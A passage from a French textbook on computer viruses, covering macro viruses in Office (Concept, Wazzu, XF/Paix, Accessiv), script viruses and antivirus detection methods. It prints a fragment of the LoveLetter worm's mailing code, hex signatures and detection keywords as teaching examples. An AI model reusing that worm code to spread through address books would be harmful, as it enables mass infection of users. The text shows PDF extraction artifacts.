que l’on peut trouver sans problèmesur Internet

1

.

Ils sont classifiés par l’adjonction d’un préfixe repris par la plupart des concep-teurs d’anti-virus.

D’autres plates-formes, tels que

Lotus Amipro/WordPro, Lotus 1-2-3, Corel 7-9

et

Visio 5

ont fait l’objet de quelques attaques.

Tableau 7.2

— Quelques exemples de macro-virus

1. Bontchev Vesselin, Brunnstein Klauss et Dierks J. (1995-1999),

Macro Virus List (PC +MACINTOSH)

. ftp://agn-www.informatik.uni-hamburg.de/pub/texts/macro/

Tableau 7.1

— Préfixe des macros-virus selon leur cible

PRÉFIXE CIBLE EXEMPLE

W1M WORD1

W1M/Blur

W2M WORD2

W2M/Polite.A

WM WORD6 / WORD95

WM/Cap

W97M WORD97 (Module)

W97M/Nightshade

W97M WORD97 (Module de Classe)

W97M/Class

XM EXCEL5 / EXCEL95

XM/Laroux

XF EXCEL5 / EXCEL95 (Formule)

XF/Paix

X97M EXCEL97 (Module)

X97M/Laroux

X97M EXCEL97 (Module de Classe)

X97M/Sugar

AM ACCESS2

AM/Accessiv.E

A97M ACCESS97 (Module)

A97M/Accessiv.A

A97M ACCESS97 (Macro)

A97M/Ssonic

PP97M POWERPOINT97

PP97M/Vic

P98M MS PROJECT 98

P98M/Corner.A

CIBLE EXEMPLE DATE

Lotus AmiPro

APM/Green_Stripe.A

01/96

Lotus WordPro

LWP/Spenty

PAGET_Ch07 Page 212 Lundi, 11. avril 2005 5:24 17

213

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

7.1 Macro-virus

Le langage de programmation utilisé étant indépendant du système d’exploita-tion, certains virus purent aussi se propager sur des plates-formes multiples (

WIN-DOWS-3.11, 95, NT, MACINTOSH SYSTEME 7

ou

SYSTEME 8

) dès qu’ellesaccueillaient la même suite bureautique.

Tous les outils bureautiques furent affectés. Pour mieux atteindre certaines ciblesqui ne font pas l’objet d’échanges incessants entres utilisateurs, le concept de

multi-application

fut remis à la mode (la terminologie

multipartite

est dédiée aux virus sys-tème et programme). Citons ici,

O97M/Tristate

qui cible conjointement

WORD-97,EXCEL-97

et

POWERPOINT-97

. Mais tous les cas furent rencontrés comme lelaisse envisager la table suivante.

7.1.1 Mode de Fonctionnement sous Word

Le principe de fonctionnement décrit ci dessous s’applique aux diverses versionsd’Office. Cependant, au fil d’entre elles, de nombreuses protections ont été mises enœuvre et le déroulement d’infections tel qu’elles sont développées dans l’ensemblede ce chapitre ne peuvent plus se faire silencieusement. Soit le processus est bloqué,soit l’utilisateur reçoit des messages d’alertes qui l’incitent à la prudence.

CIBLE EXEMPLE DATE

Corel DRAWCorel PHOTO-PAINTCorel VENTURA

CSC/CSV.A

05/99

Lotus123Macro

Dropper://Ramble.A

Visio 5

V5M/Unstable

01/00

MSWrite

Bozo.A

Windows32 HLP files

Win95/Ussu

08/99

Windows INF files

INF/Xver.ow

11/98

AutoCAD 2000

AC2kM/Star.A

Tableau 7.3

— Quelques macro-virus multi-application

CIBLE FAMILLE DE VIRUS DATE

W97M + X97M

W97M/Shiver

+

X97M/Shiver

09/98

W97M + X97M + PP97M

W97M/Tristate

+

X97M/Tristate

+

PP97M/Tristate

01/99

W97M + A97M

W97M/Cross

+

A97M/Tox

04/98

W97M + P98M

W97M/Corner

+

P98M/Corner

10/99

PAGET_Ch07 Page 213 Lundi, 11. avril 2005 5:24 17

214 Chapitre 7. Macro-virus et virus de script

Aujourd’hui, seul un utilisateur ayant volontairement réduit au minimum sonniveau de sécurité se trouve vulnérable face à ce mode opératoire :

• Le virus contamine l’environnement de travail par le biais de macros automa-tiques.

• Il infecte les documents par le biais d’instructions standards redéfinies :– Détournement de macros standards ou,– Remplacement de menus ou,– Redéfinition de boutons ou de touches fonction.

Dans un premier temps, les macro-virus furent souvent dépendants du langagenational. Ces nouveaux venus étant quasi exclusivement développés sur des versionsanglophones, la France fut un temps préservée. Faciles à réaliser, les virus se sophis-tiquèrent. Bon nombre d’entre eux surent se propager sans problème avec les ver-sions

anti-SR1 d’OFFICE 97

qui présentait pourtant quelques éléments deprotection supplémentaires. Il fallut attendre Office 2000 pour voir s’éloigner cettemenace.

Chaque fois qu’un nouveau document est créé,

WORD

charge, puis utilise, lesvaleurs par défaut du modèle

normal.dot.

Ce fichier, appelé

modèle global

, est en faitun document spécial qui contient des paramètres prédéfinis destinés à faciliter lamise en forme et l’élaboration des documents. Il peut contenir :

• Du texte et de la mise en forme.• Des styles.• Des insertions automatiques.• Des macros.• Des affectations de menus et de touches.• Des barres d’outils.

Le modèle global est automatiquement sauvé à la fin de chaque session et auto-matiquement chargé au démarrage de

WORD

. L’objectif premier d’un macro-virusest donc de l’infecter en priorité. L’environnement de travail se trouvera ainsi tou-

Tableau 7.4

— Degré de sophistication de quelques macro-virus

VIRUS FURTIF CRYPTE POLYMORPHE

Concept.A - - -

Wazzu.A - - -

NPAD.A - OUI -

MDMA - OUI -

Colors OUI OUI -

Outlaw OUI OUI OUI

PAGET_Ch07 Page 214 Lundi, 11. avril 2005 5:24 17

215

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

7.1 Macro-virus

ché en permanence et l’infection pourra, selon les cas, se propager à tous les docu-ments ouverts, fermés ou créés.

Techniques de base

À l’ouverture d’un document,

WORD

examine en premier si celui-ci contient desmacros. Si une macro automatique est présente et que les règles de sécurité sontfaibles (c’était le cas avec les premières versions d’Office), elle est exécutée sanspréavis :

AutoOpen

à l’ouverture du document.•

AutoClose

à la fermeture du document.

Une première technique d’infection cherchant à intégrer dans le modèle globaldes macros reprenant les noms ci-dessus permit l’infection immédiate des documentsmanipulés (ouvert ou fermé). Conjointement à ces macros, le virus supplantait lamacro intégrée

FichierEnregistrerSous (FileSaveAs)

par une autre macro. Elle portaitle même nom et était sauvegardée dans le modèle global. C’est cette double techni-que qu’utilisa le virus

WM/Concept.A

.

Ce premier type de virus est donc dépendant du langage national. WM/Wazzu con-tourne cette limitation. Il ne contient qu’une seule macro automatique

AutoOpen

:

• À l’ouverture d’un document infecté, la macro se copie dans le modèle globalet l’infecte.

• À l’ouverture d’un document sain, qui ne contient pas de macro, c’est cettenouvelle macro, contenue dans le modèle global infecté, qui est exécutée etqui infecte immédiatement le document.

Partant de la même idée, le macro-virus WM/

MDMA

ne possède qu’une seulemacro

AutoClose

.

L’intérêt de ce virus réside en son cryptage.

En effet, les virus examinés jusqu’ici étaient faciles à étudier (et malheureuse-ment faciles à modifier !) : il suffisait d’éditer la ou, les, macros avec la commande del’époque

Outils/Macro/Modifier

.

Dans le cas présent, cette possibilité était interdite.

Les autres intérêts de MDMA sont :

• L’utilisation de fonction.• La manipulation des registres sous Windows-95.

Abordons maintenant les techniques de furtivité. Un virus furtif doit cacher saprésence à l’utilisateur. Une première méthode simpliste consiste à désactiver lacommande

Outils/Macro

.

Cette technique

semi-furtive

a été proposée avec le virus WM/

Colors

1

. Dans le casprésent, l’appel du sous-menu

Outils/macro

ne fait que ramener l’utilisateur sur sondocument de travail.

1.

The macro virus writing tutorial

. Document de Dark Night.

PAGET_Ch07 Page 215 Lundi, 11. avril 2005 5:24 17

216 Chapitre 7. Macro-virus et virus de script

D’autres virus éliminèrent également les entrées

OutilsPersonnaliser

et

FichierMo-dèles

.

Cette technique a cependant ses limites. La commande

Outils/Macro

(

WORD

français) est liée à la macro intégrée

OutilsMacro

(

WORD

français) ; son équivalentanglais est

ToolsMacro

. La mise en place de la macro de substitution, qui porte lemême nom, rend donc le virus dépendant du langage national. Cette limite fut con-tournée par le virus WM/

CAP

. Avec lui, quelque soit la version linguistique rencon-trée, il recherche et supprime des menus les entrées Outils/Macro et Fichier/Modèles.

Colors et CAP ne sont pas totalement furtifs. Un utilisateur averti se rendcompte d’un certain dysfonctionnement en ne retrouvant pas intact sont environ-nement de travail habituel. Le virus WM/Hassle est plus sophistiqué. À l’appel deOutilsMacro, il renvoie à l’utilisateur une fenêtre identique à celle présentée en stan-dard en ne visualisant aucune macro.

La polymorphie fut un autre aspect de la relative sophistication de certainsmacro-virus. Bien qu’il soit simple, le virus WM/Futurenot est :

• Polymorphe pour le nom d’une des macros (variable sur 5 caractères).• Polymorphe dans son code viral :

– Nom d’une variable texte sur 3 caractères.– Positionnement quelconque d’une nouvelle ligne de commentaire durant

chaque infection (texte fixe).– Insertion de 2 lignes de commentaire (valeur d’un nombre aléatoire).– Modification de l’intitulé de 2 commandes par adjonction d’espaces.– Insertion de lignes blanches.

Le virus modifie le fichier autoexec.bat en ajoutant une ligne de commande quiôte l’attribut de lecture seule au fichier modèle normal.dot.

7.1.2 Mode de fonctionnement sous Excel et PowerPoint

Les techniques d’infection pour ces 2 plates-formes se rapprochent des précédentes.

Pour Excel, en l’absence de modèle global, le virus cherche à infecter le réper-toire de démarrage xlouvrir car tout fichier présent dans ce répertoire s’ouvre auto-matiquement avec l’application. Pour cela, il tente d’y positionner une feuille decalcul contenant le code viral.

Pour PowerPoint, l’équivalent du fichier normal.dot se nomme blankpresentation.pot ; c’est lui qui est visé et infecté en priorité.

Les principaux virus sous Excel furent XM/Laroux et X97M/Laroux. Aucun virusPowerPoint n’atteint la postérité des médias ; citons cependant : P97M/Phlaco etP97M/Yesi.

PAGET_Ch07 Page 216 Lundi, 11. avril 2005 5:24 17

217©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it7.1 Macro-virus

7.1.3 Un cas particulier : XF/PAIX

Ce virus français peut être considéré comme le seul virus ayant surpris la commu-nauté anti-virale dans son ensemble. Il utilise l’ancien langage de formule peu docu-menté d’Excel 97.

J’ai découvert la version initiale en France à la fin du mois de janvier 1998. Uneversion B date du milieu de l’année (août 98).

La version A comporte une feuille très cachée du nom de !!!GO, la version B unefeuille du nom de !!!GA. Pour visualiser ce type de feuille, on utilise une macro dutype :

Sub unhide()For Each sh In Sheetssh.Visible = TrueNextEnd Sub

Ces quelques lignes s’appliquent à la totalité des virus EXCEL. Elles ne sontcependant pas toujours suffisantes pour éliminer la totalité de la furtivité. Pour XF/PAIX, par exemple, il faut ensuite entrer un mot de passe pour visualiser le code viralproprement dit.

Il est intéressant de noter que l’auteur de la version B a tenté de changer le motde passe. Bien qu’inscrit en dur dans le code de cette version, c’est le mot de passe dela version A qui reste valide !

Le virus XF/Paix.A se manifeste à l’utilisateur de façon aléatoire (1 chance sur100). Il bloque alors la session de travail en affichant une fenêtre intitulée Enfin laPaix…

Sur un PC infecté, la présence du virus peut être confirmée par l’existence d’unfichier xlsheet.xla dans le répertoire de travail ou dans le répertoire c:\windows si lerépertoire de travail est sur un disque réseau.

Le message de la version B est : « putain deux ans ! ! ».

7.1.4 Virus sous Access

A97M/Accessiv.A (alias JetDB) fut le premier du type. L’un des plus récent (Juin2004) est un mass-mailer du nom de A2KM/Sadip.A@MM.

Accessiv fut découvert aux USA aux alentours du 20 mars 1998. Il ne contenaitpas de message particulier et ne faisait que se reproduire en infectant les autres basesde données du répertoire courant. Le virus est constitué d’une simple macro autoexecqui lance un module VBA du nom de virus.

PAGET_Ch07 Page 217 Lundi, 11. avril 2005 5:24 17

218 Chapitre 7. Macro-virus et virus de script

Excepté une variante pour Access 2.0, tous ces virus sont écrits en Visual Basic forApplications, d’une manière similaire aux virus Word et Excel. Notons cependant unedifférence : Access comporte un langage de macro à structure tabulaire à l’instar dece qui se pratiquait dans les anciennes versions d’Excel. C’est par ce biais que secréent les macros automatiques. Ce sont elles qui permettent le lancement de modu-les de code VBA. Avec Access, macros et modules sont des entités distinctes et unvirus sous Access est un mixage de ces 2 types d’outils de programmation.

Il existe au total quatre variantes pour Accessiv. L’une d’entre elle affiche de jan-vier à mars le message :

I am the AccessiV virus, Strain BWritten by Jerk1N, of the DIFFUSION Virus TeamAccessiV was/is the first ever Access Virus!!!

Elle infecte les fichiers *.mdb du répertoire courant, des sous-répertoires et durépertoire racine. Elle cherche aussi à implanter un virus programme (virus Jer-kin.443, alias LVJ443) mais échoue dans cette tentative.

A97M/Tox est une famille de 2 virus. Un message interne indique :

The Detox Unit Access Macro Viruswritten by Sin Code IV(an old friend by any other name…)

Ces virus sont plus sophistiqués que ceux de la famille précédente. L’auteur (ils’agit en fait de VicodinES) utilise certaines techniques de furtivité qui rendent levirus difficilement détectable en première analyse.

Un autre virus intéressant dans cette famille est également signé par VicodinES. Ilporte le nom de Cross. Il s’agit du premier virus multipartite de ce type : il infecte àla fois Access 97 et Word 97 (W97M/Cross, A97M/Cross). Son principal défaut con-cerne sa taille : le fichier normal.dot infecté dépasse 300 Ko… Il contient aussi quel-ques bugs qui entrave son fonctionnement normal.

Une étude approfondie du virus montre que son processus d’infection est pluscomplexe qu’il n’y paraît. Les premières infections sont toujours multipartites maisdes éléments sains, infectés par la seconde génération du virus, perdront leur multi-partisme.

Il est donc normal de trouver sur une même machine :

• Des virus Access multipartites (Access + Word, 2ème génération).• Des virus Word multipartites (Word + Access, 2ème génération).• De purs virus Word (3ème génération).• De purs virus Access (3ème génération).

Si un virus de 2ème génération est diffusé, le processus initial se reproduit sur lanouvelle machine cible ; s’il s’agit d’un virus de 3ème génération, il n’y aura plus demultipartisme.

PAGET_Ch07 Page 218 Lundi, 11. avril 2005 5:24 17

219©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it7.2 Virus de script

7.2 VIRUS DE SCRIPT

Un langage de scripts est un langage de programmation spécialisé destiné à contrôlerl’environnement d’un logiciel. Interprété, il peut donc être exécuté sur toutemachine disposant de l’interpréteur approprié. Deux des plus utilisées sont VBScriptet JavaScript.

Pour les raisons déjà expliquées plus haut, nous ne nous étendrons pas non plussur ces virus dont les éléments intéressants ont été décrits dans le chapitre dédié auxvers.

7.2.1 VBScript

VBScript a été créé à partir de VBA et de Visual Basic. Il repose sur du code source enclair et non sur du code compilé tel que celui des applets. Tout un chacun peut doncvoir et modifier le code des scripts qu’il rencontre.

VBScript doit être aussi considéré comme un langage autonome. Avec l’arrivéedes nouvelles versions de Windows, il a détrôné les fichiers de traitement par lotscomposés d’une série de commande DOS (fichiers batch).

Les premiers virus purement VBScript datent d’octobre 1998. En raison de leurscapacités de propagation hors du commun, l’un des alias donné au premier né de lafamille fut rabbit. Leur nombre a ensuite augmenté parallèlement à la généralisationde ce nouveau langage. Ils ne se propagèrent sérieusement qu’à partir de juillet 1999lorsqu’ils devinrent vers de messagerie.

Tableau 7.5 — Classification des virus de script

TYPE NOM DU VIRUS ALIAS DATE

Recouvrement VBSV.A, VBSV.B VBS/FIRST, VBS/RABBIT 10/98

Lien avec Java Script VBSV.C 10/98

Ajout VBS/CBABM VBS/SEVEN, VBS/777 11/98

Crypte VBS/ZULU VBS/LUSER

Lien avec VBA VBS/HAPPY W97M/COLDAPE.A 11/98

Lien avec HTML VBS/CHARLENE.B 12/98

Multi-application avec VBA VBS/BREAK.A W97M/BREAK.A 11/98

Multi-application avec VBA& HTML

VBS/HOPPER W97M/HOPPER.G 04/98

Ver VBS/FREELINK@MMVBS/MONOPOLY@MM

07/9908/99

PAGET_Ch07 Page 219 Lundi, 11. avril 2005 5:24 17

220 Chapitre 7. Macro-virus et virus de script

7.2.2 Java et JavaScript

Java est un langage créé par Sun Microsystems. Il est comparable au C++ et orientéobjet. Il est indépendant de toute plate-forme. Son exécution ne nécessite que laprésence du processeur virtuel Java Virtual Machine. Java permet de réaliser deuxtypes de programmes: des applets et des applications. Alors qu’un applet n’est qu’uneforme hybride de programme incorporé à un document HTML, Java permet aussi laréalisation d’applications intégrées complètes et autonomes qui peuvent avoir lecontrôle total du système.

JavaScript n’est pas Java !

En effet, si Java est un langage compilé, JavaScript, développé par la société Nets-cape, est interprété. Le code est inclus soit dans une page HTML, soit dans un fichierà l’extension standard .js.

Du point de vue viral, notez bien la distinction faite au niveau du préfixe :

• JV pour Java.• JS pour JavaScript.

À titre d’exemple, JS/TheFly@MM est un ver JavaScript. Il est contenu dans unfichier attaché nommé the_fly.chm1. En novembre 1998, certains experts parlèrentde virus HTML. Il s’agissait en fait de code VBScript capable de se propager via desfichiers HTML sur une machine locale. Citons comme exemple : JS/Kak@M.

Du côté de Java, le virus JV/Strange Brew est apparu en août 1998. Il s’agissait dupremier virus natif. Il est capable d’infecter aussi bien les applets que les applica-tions.

Ses capacités d’infection sont cependant limitées. Un applet infecté n’infecterapas un autre applet ni une application et il ne peut se propager que depuis une appli-cation locale infectée en utilisant java.exe2 ou l’un de ses équivalents.

JV/Strange Brew est parfois considéré comme étant le premier virus véritablementmulti plates-formes car il est capable de sévir sur n’importe quel environnement exé-cutant une machine virtuelle Java depuis les PC Windows 95 jusqu’aux serveursUnix et aux super calculateurs Cray.

7.2.3 Traitement par lot

Bien avant l’apparition des langages interprétés modernes, certains auteurs se sontappliqués à créer des virus utilisant les commande DOS au sein de fichiers batch(extension .bat). Même s’ils sont peu courants, certains d’entre eux sont très sophis-tiqués et peuvent être résidents en mémoire.

Citons à titre d’exemple les virus de la famille Batman.

1. CHM : Compiled HTML Help File.2. kit JDK – Java Developper’s Kit.

PAGET_Ch07 Page 220 Lundi, 11. avril 2005 5:24 17

8

Les logiciels anti-virus

Les précédents chapitres nous ont aidés à mieux connaître notre ennemie. Nousallons maintenant nous attacher à comprendre le fonctionnement du principal outilqui sert à le combattre.

Sur plus de 60 sociétés référencées au niveau mondial, une quinzaine se partagele marché français. La plupart d’entre elles sont dignes de confiance, et leurs pro-duits, s’ils sont correctement déployés et mis à jours offrent un niveau de sécuritécorrect.

Le présent chapitre ne traitera que des logiciels anti-virus. Il est cependant indis-pensable de rappeler que sa seule utilisation ne suffira plus à garantir un niveau desécurité suffisant. Dans la pratique, il faudra lui adjoindre :

• Un pare-feu. On l’installera au niveau du poste de travail autonome et/ou auniveau de la passerelle Internet.

• Un appliance ou un logiciel de détection (IDS) ou de prévention (IPS)d’intrusion.

8.1 LES MÉTHODES DE DÉTECTION

La plupart des anti-virus ne mettent pas en œuvre une seule méthode de détection,mais un

panachage

de celles ci. C’est leurs qualités et le dosage de l’une par rapport àl’autre qui font la différence.

Au nombre de cinq, elles ont chacune leurs particularités et leurs limites :

• La recherche pas signature.• La recherche générique.• Le contrôle d’intégrité.

PAGET_Ch08 Page 221 Lundi, 11. avril 2005 5:24 17

222 Chapitre 8. Les logiciels anti-virus

• La recherche heuristique.• Le monitoring de programme.

À l’exception du dernier point, ces méthodes peuvent être mises en œuvre

à lademande

de l’utilisateur ou s’activer automatiquement

sur accès

à un fichier ou à uneressource. Ces modes sont aussi appelés statique et dynamique.

Chaque méthode a ses limites ; les auteurs de virus les connaissent parfaitement.Ils découvrent régulièrement de nouveaux subterfuges qui peuvent leurrer les scan-ners heuristiques, génériques ou comportementaux. Ces moteurs

intelligents

sontdonc, eux aussi, régulièrement améliorés et l’utilisateur doit suivre ces évolutions.

Les anti-virus sont sujets à des fausses alertes que les mises à jour corrigent aussiau fil du temps.

8.1.1 La recherche par signature

Voici le procédé le plus connu. C’est la technique du

scanner

basée sur unerecherche de chaînes de caractères. Le procédé est fiable mais nécessite des mises àjour fréquentes. Face aux virus polymorphes et aux fichiers compressés, il requiertsouvent la mise en place d’algorithmes spécifiques, à l’efficacité incontestable.

Pour limiter les temps d’analyse, seules les zones sensibles sont parcourues par lescanner. Elles sont déterminées en fonction du fichier à analyser et du virus à recher-cher.

La recherche par signature ne se limite pas à celle d’une chaîne de caractère sta-ble comme vont nous le montrer les quelques exemples suivants. Ceux ci ont étésimplifiés à l’extrême dans un souci de clarification.

Tableau 8.1

— Zone de recherche à privilégier selon le virus recherché

Zones de recherche privilégiées

Virus système Premier secteur physique du disque durPremier secteur logique de chaque partition

Virus programme (W32) Voisinage du point d’entrée (EP-RVA)Dernière section

Macro-virus Espace dédié au stockage des macros

Virus de script Début de fichierPortion de code significative à un offset prédéterminé.

Vers Portion de code significative à un offset prédéterminé.

PAGET_Ch08 Page 222 Lundi, 11. avril 2005 5:24 17

223

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

8.1 Les méthodes de détection

Recherche triviale

Après s’être positionné au point d’entrée, l’antivirus recherche immédiatement unechaîne caractéristique du virus. La fausse alerte est dans ce cas fort improbable. S’ilest nécessaire d’affiner la détection, il ne s’agira que de différencier d’éventuellesvariantes pour permettre une éradication correcte.

Figure 8.1

Exemple d’une recherche simple –

W95/CIH.1031

Recherche avec jokers

Après s’être positionné 13 octets après le début de la dernière section, l’antivirusrecherche une chaîne caractéristique du virus. La fausse alerte est possible. Il pourras’avérer nécessaire de rechercher un autre signe distinctif, typique du virus.

Figure 8.2

Exemple d’une recherche avec jokers –

W32/Grand!p2p

PAGET_Ch08 Page 223 Lundi, 11. avril 2005 5:24 17

224 Chapitre 8. Les logiciels anti-virus

Recherche d’un checksum

Sur certains fichiers, il est parfois difficile de se limiter à la recherche d’une ouplusieurs chaînes de caractères. Ceci est particulièrement vrai lorsque le virus est unver dont le code a été compressé dans un fichier auto-extractable ou compilé depuisune plate-forme Visual Basic ou Delphi.

Il est alors possible de raccourcir le temps de traitement en limitant la rechercheà une correspondance de checksum sur une zone prédéterminée.

Cette méthode a un autre avantage. Les outils de compression (

UPX, AsPack,Petite…

) se doivent de laisser en l’état certaines zones que l’explorateur Windowsdoit immédiatement pouvoir sonder. Dans le cas d’un ver ou d’un fichier compa-gnon, le checksum de cette zone reste inchangé sur des variantes pouvant avoir étécréées après l’emploi de tel ou tel compacteur.

Figure 8.3

Exemple d’une recherche par checksum –

W32/Yarner@MM

Recherche avancée

De nombreuses techniques de camouflage interdisent l’utilisation immédiate duscanner. Elles ont fait dire de tout temps aux détracteurs de cette méthode de détec-tion qu’elle était inadéquate et inefficace dans de nombreux cas.

Ceci est inexact, car dès l’apparition des premiers virus cryptés, les fabricantsd’antivirus ont réagi en intégrant des fonctions d’émulation de code machine poursimuler l’exécution de certaines routines virales. Ces techniques évoluent encoreaujourd’hui et permettent de faire face à la plupart des techniques

anti-débug

que lesauteurs de virus s’efforcent de mettre en place.

L’anti-virus devient ainsi capable de pénétrer un virus chiffré pour l’examinerdans sa forme décryptée et lui appliquer les mêmes méthodes de détection que celleemployées pour les virus plus simples.

PAGET_Ch08 Page 224 Lundi, 11. avril 2005 5:24 17

225

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

8.1 Les méthodes de détection

Figure 8.4

Exemple d’une recherche avancée –

W32/Anvil

De rares virus restent résistant à cette technique. L’une des raisons découle dutemps de traitement. Sur un

Pentium III, W32/Crypto

réclame parfois plus de 10minutes pour réaliser son décryptage. Les routines sont simples mais plus de 43 mil-lions d’instructions sont nécessaire pour en venir à bout.

D’autres virus tels que

W32/SUK

ou

W32/Zmist

1

ont nécessité la mise en place deroutines spécifiques. Il s’agit toujours d’une recherche de code mais celle ci passe parl’application de processus éminemment complexes.

Moniteur de virus

Les anti-virus offrent un module résident qui met en œuvre, de manière dynamique,cette méthode lors des accès aux fichiers ou aux disquettes ; on parle alors parfois de

moniteur de virus

. Ce type de procédé a toujours eu du mal à coexister sur les vieillesplates-formes DOS/Windows3.x ; il était gourmand en mémoire et ralentissait lestraitements.

Il est devenu efficace sous les environnements actuels mais doit alors faire corpsavec le système d’exploitation (produit 32 bits, service NT).

8.1.2 La recherche générique

En mode résident ou à la demande, la recherche générique peut être considéréecomme une recherche par signature que l’on qualifiera de

floue

. Pour une mêmefamille de virus, il est généralement possible d’isoler des séquences de code à la struc-ture identique. Elles sont souvent liées à des processus d’infection ou de camouflage(cryptage, polymorphie, anti-débug). Ces séquences peuvent correspondre à du codecompilé ou à des brides d’instructions spécifiques rencontrées dans un langage inter-prété quelconque.

1. FERRIE Peter & SZOR Peter (2001),

Zmist Opportunities

, Virus Bulletin, mars 2001. pp 6-7.

PAGET_Ch08 Page 225 Lundi, 11. avril 2005 5:24 17

226 Chapitre 8. Les logiciels anti-virus

Un travail d’analyse permet d’isoler ces éléments constants. Le résultat se pré-sente sous la forme d’une ou plusieurs chaînes hexadécimales ou ASCII accompa-gnées, ou non, de

jokers

. Celles ci ne sont pas recherchées à un endroit précis mais ausein d’un intervalle que le chercheur doit également définir. La seule localisation deces indices dans une zone adéquate du fichier indiquera la présence du virus. Ilpourra alors s’agir d’une variante connue ou encore inconnue. Les souches détectéessont annoncées sous un nom général du type :

VBS/LoveLetter.gen@MM

ou

W32/Gara.gen@MM

.

Figure 8.5

Technique de Recherche Générique

Dans l’exemple ci-dessus, deux chaînes typiques du virus

W32/Gara

ont été iso-lées. Elles se situent au sein des 100h premiers octets du code viral et sont présentespour toutes les variantes. C’est l’indice principal qui permet d’annoncer la présencedu virus.

Tableau 8.2

— Localisation des indices liés à W32/Gara.gen

Suffixe de Variante

virus W32/GARA

offset

1

on y trouve le code :

0F 01 4C 24 FE5A83 C2 xx

offset

2

on y trouve le code :

68 xx xx xx xxC3

888B

7Ch B5h

640

01h 7Fh

842A

26h 5Ch

842B

26h 5Ch

PAGET_Ch08 Page 226 Lundi, 11. avril 2005 5:24 17

227

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

8.1 Les méthodes de détection

La méthode générique s’applique particulièrement efficacement aux macro-viruset aux virus de script. La seule présence de certaines instructions liées à un processusd’auto reproduction apporte la suspicion :

• Wscript.Shell• Outlook.Application• Mapi.AddressLists

Le doute ne sera plus possible si certains noms de variables connus sont aussi ren-contrés.

Figure 8.6

Code suspect rencontré dans certaines variantesde

VBS/LoveLetter@MM

Dans le cas de

Loveletter

, de nombreuses variantes utilisent les variables :

• ctrentries,• b,• regedit,• regv,• regad.

Tous ces indices mis bout à bout permettent de détecter, à l’aide d’un seul ensem-ble de règles, plus de 50 variantes du virus.

La recherche générique est également très efficace dans la recherche de program-mes non-auto reproducteurs inconnus.

884

26h 5Fh

888A

29h 5Fh

917

26h 5Fh

928

29h 62h

961

29h 62h

640

01h 84h

On Error Resume Nextdim x,a,ctrlists,

ctrentries

,malead

,b,reged

it,

regv

,

regad

set regedit=CreateObject("

WScript.Shell

")set out=WScript.CreateObject("

Outlook.Application

")set mapi=out.GetNameSpace("MAPI")for ctrlists=1 to

mapi.AddressLists

.Countset a=mapi.AddressLists(ctrlists)x=1

PAGET_Ch08 Page 227 Lundi, 11. avril 2005 5:24 17

228 Chapitre 8. Les logiciels anti-virus

8.1.3 Le contrôle d’intégrité

Tout comme les méthodes précédentes, le contrôle d’intégrité est un procédécapable de fonctionner en mode statique ou dynamique.

Sachant que toute action virale s’accompagne d’une modification (des fichierssont modifiés, ou d’autres sont créés) la surveillance débute par l’établissement d’unephotographie de référence ou

code checksum

1

. Celle ci s’opère dans un environne-ment réputé sain. Les données sont ensuite comparées au fil du temps. Si le certificata changé (fichier modifié) ou s’il est absent (fichier ajouté), une alerte est émise.

Cette méthode est en théorie infaillible. Des expériences ont cependant étémenées par le passé démontrant qu’il était possible d’automatiser la création de cou-ples de fichiers (avant et après modification) répondant au même checksum. Il aainsi été possible de tromper certains contrôleurs d’intégrité pour peut que l’on endécouvre la loi mathématique interne.

Le procédé a néanmoins été fréquemment utilisé dans les environnements MS-DOS et son abandon n’a rien à voir avec une éventuelle fragilité. Celui ci peut êtredurci par renforcement de l’algorithme (CRC 32 bits, CRC 64 bits). Les raisons dela perte d’intérêt de la méthode sont multiples.

En premier lieu, la technique suppose que le poste de travail n’est pas infecté àl’initialisation de la base de référence. De nombreuses stations avec un virus systèmeou un ver firent ainsi l’objet d’une

vaccination

. Il fallut attendre plusieurs mois, etl’utilisation d’un scanner à jour pour s’apercevoir de l’infection.

En second lieu, elle ne peut efficacement s’appliquer que sur des équipements sta-bilisés, exempts de modification, d’ajout et de suppression fréquente de logiciel. Si cen’est le cas, seules les zones systèmes et quelques répertoires pourront bénéficier de laprotection. Il faudra par ailleurs la désactiver à chaque mise à jour, et s’assurer de laprovenance et de la qualité des nouveaux fichiers qui seront considérés comme sain.

Certains exécutables subissent, de par leur conception, des modifications périodi-ques. Pour ne pas avoir à gérer de fausses alertes. Ils devront être exclus du processusde vérification. De même, les documents bureautiques modernes resteront souventvulnérables. Ils contiennent des macros qu’il faut surveiller, à coté de données quisont incessamment – et par définition – constamment modifiées.

Notons enfin qu’en cas d’alerte, la décision d’interdire ou d’autoriser la modifica-tion reste à la charge de l’utilisateur final. Celui ci devra donc décider,

en son âme etconscience

, s’il à affaire à un virus ou à une opération légitime. Cette décision estéminemment complexe et les conséquences d’une erreur de choix peuvent entraîneraussi bien une infection virale qu’un plantage du système.

Les ordinateurs sont aujourd’hui interconnectés, leurs utilisateurs téléchargentchaque jour des dizaines de fichiers et installent de fréquentes mises à jour. L’espace

1. CRC : code de redondance cyclique.

PAGET_Ch08 Page 228 Lundi, 11. avril 2005 5:24 17

229

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

8.1 Les méthodes de détection

stabilisé au sein d’une machine s’amenuise inexorablement et explique la disparitionde la méthode comme procédé principal de lutte anti-virale.

Plutôt que de créer une base de référence, certains logiciels

marquent les fichiers

en leurs ajoutant, comme le font de nombreux virus, quelques octets. Cette méthodeest dangereuse à plus d’un titre : le retour en arrière n’est pas toujours optimal et lamodification du code source d’un programme peut réserver un jour ou l’autre des sur-prises…

8.1.4 La recherche heuristique

La recherche heuristique s’apparente à une recherche de singularités au sein desfichiers analysés. Elle ne s’appuie pas sur la connaissance particulière de l’ensembledes variantes d’un même virus, mais sur la structure des fichiers analysés et sur laprésence en nombre plus ou moins conséquent d’instructions essentielles àl’ensemble d’une famille virale (macro-virus, exécutables W32, etc.).

En 1995, Frans Veldman exposait la méthode heuristique mise au point pour

TbScan

1

. Le produit était à même de détecter toute une série d’éléments suspects ausein des exécutables DOS. Un indicateur était affecté à chacun d’entre eux :

Tableau 8.3

— Liste des indicateurs des éléments suspects au sein des exécutables DOS

